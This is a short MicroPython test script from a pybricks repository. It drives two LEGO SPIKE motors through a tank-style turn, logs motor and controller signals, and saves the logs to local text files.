tests/motors/spikebase_tank1.py

cschlack/pybricks-micropython

0abfd2918267a4e6e7a04062976ac1bb3da1f4b1

[ "MIT" ]

null

from pybricks.pupdevices import Motor from pybricks.tools import wait from pybricks.parameters import Port, Direction from pybricks.robotics import SpikeBase from pybricks import version print(version) # Initialize base. left_motor = Motor(Port.C) right_motor = Motor(Port.D) spike_base = SpikeBase(left_motor, right_motor) # Allocate logs for motors and controller signals. DURATION = 6000 left_motor.log.start(DURATION) right_motor.log.start(DURATION) spike_base.distance_control.log.start(DURATION) spike_base.heading_control.log.start(DURATION) # Turn in place, almost. spike_base.tank_move_for_degrees(speed_left=250, speed_right=-247, angle=182) # Wait so we can also log hold capability, then turn off the motor completely. wait(100) spike_base.stop() # Transfer data logs. print("Transferring data...") left_motor.log.save("servo_left.txt") right_motor.log.save("servo_right.txt") spike_base.distance_control.log.save("control_distance.txt") spike_base.heading_control.log.save("control_heading.txt") print("Done")

29.4

78

0.808552